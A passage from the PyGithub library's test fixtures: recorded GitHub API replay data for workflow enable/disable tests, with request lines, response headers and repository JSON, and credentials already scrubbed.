v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"enabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/ci.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:14 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"7faef501e224482ccf99d9c52acb03fbef456c4b77c4747d6cc7d137e61d1ace"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4863'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '137'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9800:34870:2AE05A4:54B8168:6753B821'), ('Server', 'github.com')] {"id":131874881,"node_id":"W_kwDONaGPH84H3EBB","name":"CI","path":".github/workflows/ci.yml","state":"active","created_at":"2024-12-06T21:17:46.000-05:00","updated_at":"2024-12-06T21:50:35.000-05:00","url":"https://api.github.com/repos/nickrmcclorey/PyGithub/actions/workflows/131874881","html_url":"https://github.com/nickrmcclorey/PyGithub/blob/main/.github/workflows/ci.yml","badge_url":"https://github.com/nickrmcclorey/PyGithub/workflows/CI/badge.svg"} https PUT api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/131874881/disable {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 204 [('Date', 'Sat, 07 Dec 2024 02:51:14 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4862'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '138'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('X-GitHub-Request-Id', '9802:998E1:29C1A79:52B1A51:6753B822'), ('Server', 'github.com')] ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testDisabledWhenAlreadyDisabled.txt0000644000175100001660000005416014756101563026721 0ustar00runnerdockerhttps GET api.github.com None /repos/nickrmcclorey/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"56ffc753ee94d9b7593858e35c96fedbb0cd4b1a0a2c489935d170d5018cb47f"'), ('Last-Modified', 'Sat, 07 Dec 2024 02:17:32 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4859'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '141'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9828:1C6A78:2BADAFD:5653AB3:6753B823'), ('Server', 'github.com')] {"id":899780383,"node_id":"R_kgDONaGPHw","name":"PyGithub","full_name":"nickrmcclorey/PyGithub","private":false,"owner":{"login":"nickrmcclorey","id":32378821,"node_id":"MDQ6VXNlcjMyMzc4ODIx","avatar_url":"https://avatars.githubusercontent.com/u/32378821?v=4","gravatar_id":"","url":"https://api.github.com/users/nickrmcclorey","html_url":"https://github.com/nickrmcclorey","followers_url":"https://api.github.com/users/nickrmcclorey/followers","following_url":"https://api.github.com/users/nickrmcclorey/following{/other_user}","gists_url":"https://api.github.com/users/nickrmcclorey/gists{/gist_id}","starred_url":"https://api.github.com/users/nickrmcclorey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nickrmcclorey/subscriptions","organizations_url":"https://api.github.com/users/nickrmcclorey/orgs","repos_url":"https://api.github.com/users/nickrmcclorey/repos","events_url":"https://api.github.com/users/nickrmcclorey/events{/privacy}","received_events_url":"https://api.github.com/users/nickrmcclorey/received_events","type":"User","user_view_type":"public","site_admin":false},"html_url":"https://github.com/nickrmcclorey/PyGithub","description":"Typed interactions with the GitHub API v3","fork":true,"url":"https://api.github.com/repos/nickrmcclorey/PyGithub","forks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/forks","keys_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/teams","hooks_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/events","assignees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/tags","blobs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/languages","stargazers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/subscription","commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/merges","archive_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/downloads","issues_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/nickrmcclorey/PyGithub/deployments","created_at":"2024-12-07T02:17:32Z","updated_at":"2024-12-07T02:17:32Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/nickrmcclorey/PyGithub.git","ssh_url":"git@github.com:nickrmcclorey/PyGithub.git","clone_url":"https://github.com/nickrmcclorey/PyGithub.git","svn_url":"https://github.com/nickrmcclorey/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":0,"watchers_count":0,"language":null,"has_issues":false,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":false,"forks_count":0,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":0,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":[],"visibility":"public","forks":0,"open_issues":0,"watchers":0,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":true,"allow_rebase_merge":true,"allow_auto_merge":false,"delete_branch_on_merge":false,"allow_update_branch":false,"use_squash_pr_title_as_default":false,"squash_merge_commit_message":"COMMIT_MESSAGES","squash_merge_commit_title":"COMMIT_OR_PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","parent":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"source":{"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2024-12-06T08:32:51Z","pushed_at":"2024-12-04T08:56:01Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16298,"stargazers_count":7064,"watchers_count":7064,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":352,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":352,"watchers":7064,"default_branch":"main"},"security_and_analysis":{"secret_scanning":{"status":"enabled"},"secret_scanning_push_protection":{"status":"enabled"},"dependabot_security_updates":{"status":"disabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":0} https GET api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/ci.yml {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"456542a697db966667cc2b698c23e673b908e1ae52c758b44f8a983ba30d1788"'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4858'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '142'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9832:191A7:2A9FE60:54671E2:6753B823'), ('Server', 'github.com')] {"id":131874881,"node_id":"W_kwDONaGPH84H3EBB","name":"CI","path":".github/workflows/ci.yml","state":"disabled_manually","created_at":"2024-12-06T21:17:46.000-05:00","updated_at":"2024-12-06T21:51:14.000-05:00","url":"https://api.github.com/repos/nickrmcclorey/PyGithub/actions/workflows/131874881","html_url":"https://github.com/nickrmcclorey/PyGithub/blob/main/.github/workflows/ci.yml","badge_url":"https://github.com/nickrmcclorey/PyGithub/workflows/CI/badge.svg"} https PUT api.github.com None /repos/nickrmcclorey/PyGithub/actions/workflows/131874881/disable {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 403 [('Date', 'Sat, 07 Dec 2024 02:51:15 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', ''), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4857'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '143'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Vary', 'Accept-Encoding, Accept, X-Requested-With'), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9840:8AF0D:2C76030:57DB17C:6753B823'), ('Server', 'github.com')] {"message":"Unable to disable a workflow that is not active.","documentation_url":"https://docs.github.com/rest/actions/workflows#disable-a-workflow","status":"403"} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/Workflow.testEnable.txt0000644000175100001660000005352514756101563022630 0ustar00runnerdockerhttps GET api.github.com None /repos/nickrmcclorey/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Sat, 07 Dec 2024 02:51:16 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"56ffc753ee94d9b7593858e35c96fedbb0cd4b1a0a2c489935d170d5018cb47f"'), ('Last-Modified', 'Sat, 07 Dec 2024 02:17:32 GMT'), ('X-OAuth-Scopes', 'admin:enterprise, admin:org, audit_log, codespace, delete:packages, gist, notifications, project, repo, workflow, write:discussion, write:packages'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2024-12-14 02:28:22 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4854'), ('X-RateLimit-Reset', '1733542572'), ('X-RateLimit-Used', '146'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('X-GitHub-Request-Id', '9858:3E95BD:33FDBF2:66FD1BE:6753B824'), ('Server', 'github.com')] {"id":899780383,"node_id":"R_kgDONaGPHw","name":"PyGithub","full_name":"nickrmcclorey/PyGithub","private":false,"owner":{"login":"nickrmcclorey","id":32378821,"node_id":"MDQ6VXNlcjMyMzc4ODIx","avatar_url":"https://avatars.githubusercontent.com/u/32378821?v=4","gravatar_id":"","url":"https://api.github.com/users/nickrmcclorey","html_url":"https://github.com/nickrmcclorey","followers_url":"https://api.github.com/users/nickrmcclorey/followers","following_url":"https://api.github.com/users/nickrmcclorey/following{/other_user}","gists_url":"https://api.github.com/users/nickrmcclorey/gists{/gist_id}","starred_url":"https://api.github.com/users/nickrmcclorey/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/nickrmcclorey/subscriptions","organizations_url":"https://api.github.com/users/nickrmcclorey/orgs","repos_url":"https://api.github.com/users/nickrmcclorey/repos","events_url":"https://api.github.com/users/nickrmcclorey/events{/privacy}","received_events_url":"https://api.github.com/